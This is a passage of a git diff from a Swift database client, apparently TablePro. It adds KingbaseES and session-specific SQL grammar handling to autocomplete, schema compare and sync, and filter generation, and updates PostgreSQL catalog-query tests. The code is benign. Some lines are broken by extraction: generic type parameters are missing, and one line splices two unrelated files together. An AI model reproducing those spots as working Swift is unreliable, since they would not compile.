+ THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid)
+ FROM pg_catalog.pg_attrdef ad
+ WHERE ad.adrelid = a.attrelid AND ad.adnum = a.attnum)
+ END AS generation_expression,
CASE WHEN EXISTS (
SELECT 1
FROM pg_catalog.pg_type dt
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
index 23e32c8bbc..cba6ac1f90 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
@@ -51,12 +51,18 @@ struct PostgreSQLColumnDDLQuerySequenceCollationTests {
))
}
- @Test("The DDL builders' clause is the same collation behind a COLLATE keyword, or nothing")
+ @Test("The DDL builders' clause reads the same collation once, behind a COLLATE keyword, or nothing")
func collateClauseWrapsTheSameCollation() {
- #expect(
- PostgreSQLSchemaQueries.columnCollateClause
- == "CASE WHEN (\(PostgreSQLSchemaQueries.columnCollation)) IS NULL THEN '' ELSE ' COLLATE ' || \(PostgreSQLSchemaQueries.columnCollation) END"
- )
+ let clause = PostgreSQLSchemaQueries.columnCollateClause
+ let name = PostgreSQLObjectQueries.collationName("a.attcollation")
+ #expect(clause.contains("a.attcollation <> 0"))
+ #expect(clause.contains(
+ "a.attcollation <> (SELECT ty.typcollation FROM pg_catalog.pg_type ty WHERE ty.oid = a.atttypid)"
+ ))
+ #expect(clause.contains("THEN ' COLLATE ' || \(name)"))
+ #expect(clause.contains("ELSE ''"))
+ #expect(clause.components(separatedBy: name).count - 1 == 1)
+ #expect(clause.components(separatedBy: "pg_catalog.pg_type ty").count - 1 == 1)
}
}
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift
index 2c5539a140..2d97d2f31c 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift
@@ -80,7 +80,9 @@ struct PostgreSQLColumnsQueryTests {
let query = singleTable(schema: "s2", table: "orders")
#expect(query.contains("a.attidentity"))
#expect(query.contains("a.attgenerated"))
- #expect(query.contains("c.generation_expression"))
+ #expect(query.contains("CASE WHEN a.attgenerated IN ('s', 'v')"))
+ #expect(query.contains("THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid)"))
+ #expect(!query.contains("c.generation_expression"))
#expect(query.contains("ON a.attrelid = rel.oid"))
#expect(query.contains("AND a.attnum = c.ordinal_position"))
}
@@ -223,11 +225,13 @@ struct PostgreSQLMaterializedViewColumnsQueryTests {
}
@Test("a materialized view column has no primary key and no default")
- func armSkipsConstraintsAndDefaults() {
+ func armSkipsConstraintsAndDefaults() throws {
let rendered = query()
+ let arm = try #require(rendered.components(separatedBy: "UNION ALL").last)
#expect(rendered.contains("'NO' AS is_pk"))
#expect(rendered.contains("NULL::text AS column_default"))
- #expect(!rendered.contains("pg_attrdef"))
+ #expect(arm.contains("mvc.relkind = 'm'"))
+ #expect(!arm.contains("pg_attrdef"))
#expect(rendered.components(separatedBy: "FROM pg_catalog.pg_constraint con").count - 1 == 1)
}
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift
index 9a5556b840..6fe21b80db 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift
@@ -173,9 +173,13 @@ struct PostgreSQLIndexDDLQueryTests {
@Test("The suffix is the predicate as pg_get_expr writes it, and the keys are cut only when both ends match")
func suffixAndCut() throws {
let sql = PostgreSQLIndexQueries.indexDDLQuery(schema: "src", table: nil)
- #expect(sql.contains("COALESCE(' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid), '') AS suffix"))
+ #expect(sql.contains("CASE WHEN ix.indpred IS NOT NULL"))
+ #expect(sql.contains("THEN ' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid)"))
+ #expect(sql.contains("END AS suffix"))
+ #expect(!sql.contains("COALESCE(' WHERE '"))
#expect(sql.contains("AND pg_catalog.substr(d.definition, 1, pg_catalog.length(d.prefix)) = d.prefix"))
- #expect(sql.contains(") = d.suffix"))
+ #expect(sql.contains("AND (d.suffix IS NULL OR pg_catalog.substr("))
+ #expect(sql.contains(") = d.suffix)"))
let cutStart = try #require(sql.range(of: "CASE"))
let cutEnd = try #require(sql.range(of: "END AS method_and_keys"))
let cut = sql[cutStart.upperBound.. QueryCompletionService {
let language = databaseType.map { PluginManager.shared.editorLanguage(for: $0) } ?? .sql
@@ -41,6 +43,7 @@ enum QueryCompletionServiceFactory {
schemaProvider: schemaProvider,
databaseType: databaseType,
profile: profile,
+ grammar: grammar,
identifierCase: { SQLIdentifierCase.stored(for: connectionId) }
)
}
diff --git a/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift b/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift
index bd9e1c2189..c62314e731 100644
--- a/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift
+++ b/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift
@@ -9,29 +9,17 @@ extension SQLCompletionProvider {
schemaProvider: SQLSchemaProvider?,
databaseType: DatabaseType? = nil,
dialect: SQLDialectDescriptor? = nil,
- statementCompletions: [CompletionEntry] = []
+ statementCompletions: [CompletionEntry] = [],
+ grammar: SQLLexicalGrammar? = nil
) {
self.init(
catalog: schemaProvider,
- grammar: databaseType?.lexicalGrammar ?? .ansi,
+ grammar: grammar ?? databaseType?.lexicalGrammar ?? .ansi,
vocabulary: SQLCompletionVocabulary(
dialect: dialect, statementCompletions: statementCompletions, databaseType: databaseType
)
)
}
-
- func setDatabaseType(
- _ type: DatabaseType,
- dialect: SQLDialectDescriptor? = nil,
- statementCompletions: [CompletionEntry] = []
- ) {
- update(
- grammar: type.lexicalGrammar,
- vocabulary: SQLCompletionVocabulary(
- dialect: dialect, statementCompletions: statementCompletions, databaseType: type
- )
- )
- }
}
extension SQLCompletionVocabulary {
diff --git a/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift b/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift
index d6811a2b98..b6a44f0c22 100644
--- a/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift
+++ b/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift
@@ -14,6 +14,7 @@ final class SQLCompletionService: QueryCompletionService {
schemaProvider: SQLSchemaProvider?,
databaseType: DatabaseType?,
profile: QueryCompletionProfile? = nil,
+ grammar: SQLLexicalGrammar? = nil,
identifierCase: @escaping @MainActor () -> SQLIdentifierCase = { .default }
) {
let dialect = profile?.resolvedDialect
@@ -21,13 +22,15 @@ final class SQLCompletionService: QueryCompletionService {
let statementCompletions = profile?.statementCompletions
?? databaseType.flatMap { PluginManager.shared.statementCompletions(for: $0) }
?? []
+ let resolvedGrammar = grammar ?? databaseType?.lexicalGrammar ?? .ansi
self.engine = CompletionEngine(
schemaProvider: schemaProvider,
databaseType: databaseType,
dialect: dialect,
- statementCompletions: statementCompletions
+ statementCompletions: statementCompletions,
+ grammar: resolvedGrammar
)
- self.grammar = databaseType?.lexicalGrammar ?? .ansi
+ self.grammar = resolvedGrammar
self.identifierCaseSource = identifierCase
}
diff --git a/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift b/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift
index ccf4fa6590..c58dd2fce1 100644
--- a/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift
+++ b/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift
@@ -443,18 +443,18 @@ actor SQLSchemaProvider {
let capturedConnection = connection
let defaultSchema = getDefaultSchema()
let capturedScopeDatabase = scopeDatabase
- let (dbName, idQuote, editorLanguage, queryLanguageName) = await MainActor.run {
+ let (dbName, idQuote, editorLanguage, queryLanguageName, grammar) = await MainActor.run {
let resolvedName = capturedScopeDatabase
?? DatabaseManager.shared.browseDatabaseName(for: capturedConnection)
let quote = PluginManager.shared.sqlDialect(for: dbType)?.identifierQuote ?? "\""
let lang = PluginManager.shared.editorLanguage(for: dbType)
let langName = PluginManager.shared.queryLanguageName(for: dbType)
- return (resolvedName, quote, lang, langName)
+ let sessionGrammar = SQLLexicalResolver.executionGrammar(for: dbType, connectionId: capturedConnection.id)
+ return (resolvedName, quote, lang, langName, sessionGrammar)
}
var listedTables = tables
if let editorText, editorLanguage == .sql, listedTables.count > settings.maxSchemaTables {
- let grammar = dbType.lexicalGrammar
let statement = SQLStatementScanner.statementAtCursor(
in: editorText,
cursorPosition: cursorOffset,
diff --git a/apple/TablePro/Core/Compare/CompareRunner.swift b/apple/TablePro/Core/Compare/CompareRunner.swift
index 8f796c9035..9eb2f6f83b 100644
--- a/apple/TablePro/Core/Compare/CompareRunner.swift
+++ b/apple/TablePro/Core/Compare/CompareRunner.swift
@@ -364,7 +364,13 @@ internal struct CompareRunner {
options: session.structureOptions,
sourceDatabaseType: context.source.databaseType,
targetDatabaseType: context.target.databaseType,
- targetIndexedKinds: SourceObjectIndexes.carriedKinds(on: context.target.databaseType)
+ targetIndexedKinds: SourceObjectIndexes.carriedKinds(on: context.target.databaseType),
+ sourceGrammar: SQLLexicalResolver.executionGrammar(
+ for: context.source.databaseType, connectionId: context.source.connectionId
+ ),
+ targetGrammar: SQLLexicalResolver.executionGrammar(
+ for: context.target.databaseType, connectionId: context.target.connectionId
+ )
)
/// Each pair reads two independent endpoints, so the two sides run together rather than the
diff --git a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
index d8343113fb..0217e55e14 100644
--- a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
+++ b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
@@ -98,13 +98,14 @@ internal enum CompareSQLLiteral {
/// Curated per type, the same shape `CompareSyncEngineFamily` uses. A type this does not
/// name falls back to the driver's own spelling rather than guessing at one.
internal static func binaryStyle(for databaseType: DatabaseType) -> BinaryStyle {
- if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { return .postgresBytea }
switch databaseType {
case .mysql, .mariadb, .tidb, .databend, .oceanbase, .sqlite, .clickhouse, .libsql, .turso,
.cloudflareD1:
return .bitString
case .duckdb:
return .unhexFunction
+ case .postgresql, .cockroachdb, .redshift, .pglite, .kingbasees:
+ return .postgresBytea
case .mssql:
return .zeroX
case .oracle:
diff --git a/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift b/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift
index 0cf57bd72f..5bb2179c04 100644
--- a/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift
+++ b/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift
@@ -9,13 +9,21 @@
//
import Foundation
+import TableProPluginKit
internal enum CompareSyncEngineFamily {
/// A sampled column list is not a schema. A field the source's sample missed reads as one the
/// target holds and the source does not, and a script would remove it from every document of
/// the target.
- internal static func canGenerateStructureScript(from source: DatabaseType, to target: DatabaseType) -> Bool {
+ internal static func canGenerateStructureScript(
+ from source: DatabaseType,
+ to target: DatabaseType,
+ sourceSession: PluginSessionLexicalState? = nil,
+ targetSession: PluginSessionLexicalState? = nil
+ ) -> Bool {
guard !source.columnsAreSampled, !target.columnsAreSampled else { return false }
+ let sourceFamily = SQLTypeFamily.of(source, session: sourceSession)
+ guard sourceFamily == SQLTypeFamily.of(target, session: targetSession) else { return false }
guard source != target else { return true }
return sameFamily(source, target)
}
@@ -28,18 +36,31 @@ internal enum CompareSyncEngineFamily {
private static let compatiblePairKeys: Set = {
let pairs: [[DatabaseType]] = [
- [.mysql, .mariadb]
+ [.mysql, .mariadb],
+ [.postgresql, .kingbasees]
]
return Set(pairs.map { $0.map { $0.rawValue }.sorted().joined(separator: "\u{1F}") })
}()
- internal static func structureScriptRefusal(from source: DatabaseType, to target: DatabaseType) -> String {
+ internal static func structureScriptRefusal(
+ from source: DatabaseType,
+ to target: DatabaseType,
+ sourceSession: PluginSessionLexicalState? = nil,
+ targetSession: PluginSessionLexicalState? = nil
+ ) -> String {
if let sampled = [source, target].first(where: \.columnsAreSampled) {
return String(
format: String(localized: "%@ lists a collection's fields from a sample of its documents, so structures can be compared but no script is generated."),
sampled.rawValue
)
}
+ if let moded = [(source, sourceSession), (target, targetSession)]
+ .first(where: { SQLTypeFamily.leavesFamily($0.0, session: $0.1) }) {
+ return String(
+ format: String(localized: "%@ runs in a compatibility mode with column types of its own, so structures can be compared but no script is generated."),
+ moded.0.rawValue
+ )
+ }
return String(
format: String(localized: "Structure sync needs matching database types. %@ and %@ can be compared, but no script is generated."),
source.rawValue, target.rawValue
diff --git a/apple/TablePro/Core/Compare/CompareSyncExecutor.swift b/apple/TablePro/Core/Compare/CompareSyncExecutor.swift
index f85a8f3329..f5dd7f1942 100644
--- a/apple/TablePro/Core/Compare/CompareSyncExecutor.swift
+++ b/apple/TablePro/Core/Compare/CompareSyncExecutor.swift
@@ -159,7 +159,13 @@ internal actor CompareSyncExecutor {
let request = OperationRequest(
connectionId: target.connectionId,
databaseType: target.databaseType,
- sql: Self.digest(of: runnable, databaseType: target.databaseType),
+ sql: Self.digest(
+ of: runnable,
+ databaseType: target.databaseType,
+ grammar: SQLLexicalResolver.readings(
+ for: target.databaseType, session: driver.sessionLexicalState
+ ).execution
+ ),
kind: Self.kind(for: mode, statements: runnable, databaseType: target.databaseType),
caller: .userInterface,
capabilities: [.mayWrite, .mayRunDestructive, .mayRunMultiStatement, .confirmationPreCleared],
@@ -330,8 +336,12 @@ internal actor CompareSyncExecutor {
/// statement count and a hash of every statement, so two scripts that share their first ten
/// thousand characters are never recorded as the same run. Each statement is written the way the
/// saved script writes it, so the gate reads statements ended where they end.
- static func digest(of statements: [SyncStatement], databaseType: DatabaseType) -> String {
- let scriptText = SQLScriptText(databaseType: databaseType)
+ static func digest(
+ of statements: [SyncStatement],
+ databaseType: DatabaseType,
+ grammar: SQLLexicalGrammar? = nil
+ ) -> String {
+ let scriptText = SQLScriptText(databaseType: databaseType, grammar: grammar ?? databaseType.lexicalGrammar)
var digest = ""
var length = 0
for statement in statements {
diff --git a/apple/TablePro/Core/Compare/CompareSyncSession.swift b/apple/TablePro/Core/Compare/CompareSyncSession.swift
index a14e41ad6f..6077bd999e 100644
--- a/apple/TablePro/Core/Compare/CompareSyncSession.swift
+++ b/apple/TablePro/Core/Compare/CompareSyncSession.swift
@@ -185,13 +185,23 @@ internal final class CompareSyncSession: ObservableObject {
internal var canGenerateStructureScript: Bool {
guard mode == .structure, let source, let target else { return false }
- return CompareSyncEngineFamily.canGenerateStructureScript(from: source.databaseType, to: target.databaseType)
+ return CompareSyncEngineFamily.canGenerateStructureScript(
+ from: source.databaseType,
+ to: target.databaseType,
+ sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId),
+ targetSession: SQLLexicalResolver.sessionState(for: target.connectionId)
+ )
}
internal var crossEngineNotice: String? {
guard let source, let target else { return nil }
if mode == .structure, !canGenerateStructureScript {
- return CompareSyncEngineFamily.structureScriptRefusal(from: source.databaseType, to: target.databaseType)
+ return CompareSyncEngineFamily.structureScriptRefusal(
+ from: source.databaseType,
+ to: target.databaseType,
+ sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId),
+ targetSession: SQLLexicalResolver.sessionState(for: target.connectionId)
+ )
}
return CompareSyncEngineFamily.crossEngineDataWarning(from: source.databaseType, to: target.databaseType)
}
@@ -395,8 +405,9 @@ internal final class CompareSyncSession: ObservableObject {
}
private func script(of statements: [SyncStatement]) -> String {
- guard let databaseType = target?.databaseType else { return "" }
- return SQLScriptText(databaseType: databaseType).script(statements.map(\.sql))
+ guard let target else { return "" }
+ let grammar = SQLLexicalResolver.executionGrammar(for: target.databaseType, connectionId: target.connectionId)
+ return SQLScriptText(databaseType: target.databaseType, grammar: grammar).script(statements.map(\.sql))
}
// MARK: - Results view
diff --git a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
index bd753dabe4..57c860b9e9 100644
--- a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
+++ b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
@@ -20,7 +20,12 @@ internal struct SchemaSyncScriptBuilder {
internal init(targetDriver: any PluginDatabaseDriver, targetDatabaseType: DatabaseType) {
self.targetDriver = targetDriver
self.targetTypeFamily = SQLTypeFamily.of(targetDatabaseType)
- self.scriptText = SQLScriptText(databaseType: targetDatabaseType)
+ self.scriptText = SQLScriptText(
+ databaseType: targetDatabaseType,
+ grammar: SQLLexicalResolver.readings(
+ for: targetDatabaseType, session: targetDriver.sessionLexicalState
+ ).execution
+ )
}
internal func build(
diff --git a/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift b/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift
index f9481ba8f0..5ea255cd10 100644
--- a/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift
+++ b/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift
@@ -29,11 +29,17 @@ internal struct SourceObjectDiffEngine {
options: StructureCompareOptions = .default,
sourceDatabaseType: DatabaseType,
targetDatabaseType: DatabaseType,
- targetIndexedKinds: Set
+ targetIndexedKinds: Set,
+ sourceGrammar: SQLLexicalGrammar? = nil,
+ targetGrammar: SQLLexicalGrammar? = nil
) {
self.options = options
- self.sourceScriptText = SQLScriptText(databaseType: sourceDatabaseType)
- self.targetScriptText = SQLScriptText(databaseType: targetDatabaseType)
+ self.sourceScriptText = SQLScriptText(
+ databaseType: sourceDatabaseType, grammar: sourceGrammar ?? sourceDatabaseType.lexicalGrammar
+ )
+ self.targetScriptText = SQLScriptText(
+ databaseType: targetDatabaseType, grammar: targetGrammar ?? targetDatabaseType.lexicalGrammar
+ )
self.targetIndexedKinds = targetIndexedKinds
}
diff --git a/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift b/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift
index e839430c90..a07f42130c 100644
--- a/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift
+++ b/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift
@@ -21,6 +21,7 @@
import Foundation
import os
import TableProPluginKit
+import TableProSQLGrammar
internal struct SourceObjectSyncBuilder {
private static let logger = Logger(subsystem: "com.TablePro", category: "SourceObjectSyncBuilder")
@@ -40,7 +41,12 @@ internal struct SourceObjectSyncBuilder {
self.targetDriver = targetDriver
self.targetDatabaseType = targetDatabaseType
self.indexSchema = indexSchema
- self.scriptText = SQLScriptText(databaseType: targetDatabaseType)
+ self.scriptText = SQLScriptText(
+ databaseType: targetDatabaseType,
+ grammar: SQLLexicalResolver.readings(
+ for: targetDatabaseType, session: targetDriver.sessionLexicalState
+ ).execution
+ )
self.changeBuilder = SchemaSyncScriptBuilder(targetDriver: targetDriver, targetDatabaseType: targetDatabaseType)
}
diff --git a/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift b/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift
index 58ade425c8..27ddb116cd 100644
--- a/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift
+++ b/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift
@@ -21,12 +21,7 @@ internal final class SourceFileDiskChangeMonitor {
private var inFlight: Task?
private var needsAnotherPass = false
- init(
- tabManager: QueryTabManager,
- readStamps: @escaping StampReader = { urls in
- await SourceFileDiskChangeMonitor.readStampsOffMainActor(urls)
- }
- ) {
+ init(tabManager: QueryTabManager, readStamps: @escaping StampReader = SourceFileDiskChangeMonitor.readStampsOffMainActor) {
self.tabManager = tabManager
self.readStamps = readStamps
}
diff --git a/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift b/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift
index adc5485830..3232ba57c7 100644
--- a/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift
+++ b/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift
@@ -146,7 +146,7 @@ internal enum CrossEngineIndexTranslator {
/// The database types whose index type is the server's own access method, read from `pg_am`, so
/// `BLOOM`, `HNSW` or `IVFFLAT` names something a PostgreSQL `USING` clause can write.
- private static let accessMethodSources: Set = [.postgresql, .pglite]
+ private static let accessMethodSources: Set = [.postgresql, .pglite, .kingbasees]
/// The database types whose indexes, past the primary key, are keys of the table itself:
/// Redshift's `DISTKEY` and `SORTKEY`, Snowflake's clustering key, and BigQuery's clustering and
diff --git a/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift b/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift
index beeff299d8..408762ef7f 100644
--- a/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift
+++ b/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift
@@ -17,6 +17,7 @@
//
import Foundation
+import TableProPluginKit
internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable {
case mysql
@@ -32,6 +33,20 @@ internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable {
familiesByTypeId[type.rawValue] ?? .generic
}
+ /// The family a live session spells its types in. A KingbaseES cluster initialized in Oracle mode spells
+ /// `varchar2(10)` as `character varying(10 char)` and `date` as `sys.date`, a timestamp, and PostgreSQL parses
+ /// neither (measured on V9R1C10). Its driver reports that mode as PL/SQL lexing, the one part of it a session
+ /// carries, so such a session has no family a copy can cross to.
+ internal static func of(_ type: DatabaseType, session: PluginSessionLexicalState?) -> SQLTypeFamily {
+ if leavesFamily(type, session: session) { return .generic }
+ return of(type)
+ }
+
+ /// Whether the session's mode takes it out of the family its engine has.
+ internal static func leavesFamily(_ type: DatabaseType, session: PluginSessionLexicalState?) -> Bool {
+ type == .kingbasees && session?.enabled.contains(.plsqlBlocks) == true
+ }
+
/// MySQL reads a `BIT` back as the number it holds; PostgreSQL and DuckDB read theirs as a string of digits.
internal var readsBitsAsDecimal: Bool { self == .mysql }
@@ -60,6 +75,7 @@ internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable {
"AlloyDB": .postgres,
"Citus": .postgres,
"Greenplum": .postgres,
+ "KingbaseES": .postgres,
"SQLite": .sqlite,
"libSQL": .sqlite,
"Turso": .sqlite,
diff --git a/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift b/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift
index c1a8415f58..7c584aff47 100644
--- a/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift
+++ b/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift
@@ -15,7 +15,7 @@ import Foundation
enum DataWriteRowCounts {
private static let enginesReportingRealCounts: Set = [
.mysql, .mariadb, .tidb, .oceanbase,
- .postgresql, .redshift, .cockroachdb, .pglite,
+ .postgresql, .redshift, .cockroachdb, .pglite, .kingbasees,
.sqlite, .libsql, .turso, .duckdb,
.mssql, .oracle,
]
diff --git a/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift b/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift
index f0c6ab7947..8a03dfefd9 100644
--- a/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift
+++ b/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift
@@ -16,7 +16,7 @@ enum ExplicitIdentityInsert: Equatable {
static func style(for databaseType: DatabaseType) -> ExplicitIdentityInsert? {
switch databaseType {
- case .postgresql, .pglite:
+ case .postgresql, .pglite, .kingbasees:
return .overridingSystemValue
case .mssql:
return .identityInsertSession
diff --git a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift
index 8aa3ccd4d8..5f00b084c2 100644
--- a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift
+++ b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift
@@ -214,8 +214,11 @@ internal actor DatabaseAccessBridge {
guard !Self.statementText(query, grammar: .ansi).isEmpty else {
throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty."))
}
- let databaseType = try await ensureConnected(scope.connectionId)
- let normalizedQuery = Self.statementText(query, databaseType: databaseType)
+ let (sessionDriver, databaseType) = try await resolveDriver(scope.connectionId)
+ let grammar = SQLLexicalResolver.readings(
+ for: databaseType, session: sessionDriver.sessionLexicalState
+ ).execution
+ let normalizedQuery = Self.statementText(query, databaseType: databaseType, grammar: grammar)
guard !normalizedQuery.isEmpty else {
throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty."))
}
@@ -253,7 +256,6 @@ internal actor DatabaseAccessBridge {
/// A write that timed out or failed may still have committed: a group only returns once
/// every child has, so by the time the error arrives the driver call has finished one way or
/// the other, and a catalog that might have changed is refreshed rather than trusted.
- let grammar = databaseType.lexicalGrammar
let result: QueryResult
let tableEdits: SucceededStatements?
do {
@@ -405,11 +407,15 @@ internal actor DatabaseAccessBridge {
SQLStatementScanner.executableText(of: query, grammar: grammar)
}
- internal static func statementText(_ query: String, databaseType: DatabaseType) -> String {
+ internal static func statementText(
+ _ query: String,
+ databaseType: DatabaseType,
+ grammar: SQLLexicalGrammar? = nil
+ ) -> String {
QueryStatementScanner.executableText(
of: query,
model: QueryStatementModel.forDatabaseType(databaseType),
- grammar: databaseType.lexicalGrammar
+ grammar: grammar ?? databaseType.lexicalGrammar
)
}
}
diff --git a/apple/TablePro/Core/Database/DatabaseManager+Startup.swift b/apple/TablePro/Core/Database/DatabaseManager+Startup.swift
index e65a935a0b..5f68e9c7a7 100644
--- a/apple/TablePro/Core/Database/DatabaseManager+Startup.swift
+++ b/apple/TablePro/Core/Database/DatabaseManager+Startup.swift
@@ -24,15 +24,19 @@ extension DatabaseManager {
return !commands.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty
}
- /// The statements `executeStartupCommands` sends, one per line or `;`, read the way the engine reads a quote or a
+ /// The statements `executeStartupCommands` sends, one per line or `;`, read the way the session reads a quote or a
/// comment. Also read by the catalog, because a temporary table a startup command creates shadows a real one for
/// the whole session.
- nonisolated internal static func startupStatements(from commands: String?, databaseType: DatabaseType) -> [String] {
+ nonisolated internal static func startupStatements(
+ from commands: String?,
+ databaseType: DatabaseType,
+ grammar sessionGrammar: SQLLexicalGrammar? = nil
+ ) -> [String] {
guard hasStartupCommands(commands), let commands else { return [] }
if QueryStatementModel.forDatabaseType(databaseType) == .redis {
return RedisCommandSplitter.commands(in: commands).map(\.text)
}
- let grammar = databaseType.lexicalGrammar
+ let grammar = sessionGrammar ?? databaseType.lexicalGrammar
let source = commands as NSString
var statements: [String] = []
var lineStart = 0
@@ -62,7 +66,9 @@ extension DatabaseManager {
_ commands: String?, on driver: DatabaseDriver, connectionName: String
) async -> [(statement: String, error: String)] {
var failures: [(statement: String, error: String)] = []
- for statement in Self.startupStatements(from: commands, databaseType: driver.connection.type) {
+ let databaseType = driver.connection.type
+ let grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution
+ for statement in Self.startupStatements(from: commands, databaseType: databaseType, grammar: grammar) {
do {
_ = try await driver.execute(query: statement)
Self.startupLogger.info(
diff --git a/apple/TablePro/Core/Database/FilterSQLGenerator.swift b/apple/TablePro/Core/Database/FilterSQLGenerator.swift
index 09a83f2bf3..6f0f1b97f0 100644
--- a/apple/TablePro/Core/Database/FilterSQLGenerator.swift
+++ b/apple/TablePro/Core/Database/FilterSQLGenerator.swift
@@ -31,6 +31,9 @@ struct FilterSQLGenerator {
private let stringLiteralPrefix: String
/// The engine's type family, for the comparisons a dialect descriptor cannot describe.
private let family: SQLTypeFamily?
+ // Oracle reads the literal '' as NULL, and so does KingbaseES in Oracle mode, which its type cannot tell apart
+ // from its PostgreSQL mode, so `c != ''` matches no row there.
+ private let readsEmptyStringAsNull: Bool
init(
dialect: SQLDialectDescriptor,
@@ -45,6 +48,7 @@ struct FilterSQLGenerator {
self.columnTypesByName = ColumnTypeSQLQuoting.lookupByName(columns: columns, columnTypes: columnTypes)
self.stringLiteralPrefix = stringLiteralPrefix
self.family = databaseType.map(SQLTypeFamily.of)
+ self.readsEmptyStringAsNull = family == .oracle || databaseType == .kingbasees
}
/// The one place a string literal is spelled, so the engine's prefix cannot be forgotten on
@@ -125,13 +129,15 @@ struct FilterSQLGenerator {
guard ColumnTypeSQLQuoting.supportsEmptyStringComparison(columnType) else {
return "\(quotedColumn) IS NULL"
}
- return "(\(quotedColumn) IS NULL OR \(patternOperand(quotedColumn, columnType: columnType)) = '')"
+ let operand = patternOperand(quotedColumn, columnType: columnType)
+ return "(\(quotedColumn) IS NULL OR \(emptyValueTest(operand, negated: false)))"
case .isNotEmpty:
guard ColumnTypeSQLQuoting.supportsEmptyStringComparison(columnType) else {
return "\(quotedColumn) IS NOT NULL"
}
- return "(\(quotedColumn) IS NOT NULL AND \(patternOperand(quotedColumn, columnType: columnType)) != '')"
+ let operand = patternOperand(quotedColumn, columnType: columnType)
+ return "(\(quotedColumn) IS NOT NULL AND \(emptyValueTest(operand, negated: true)))"
case .inList:
return generateInCondition(
@@ -164,6 +170,11 @@ struct FilterSQLGenerator {
}
}
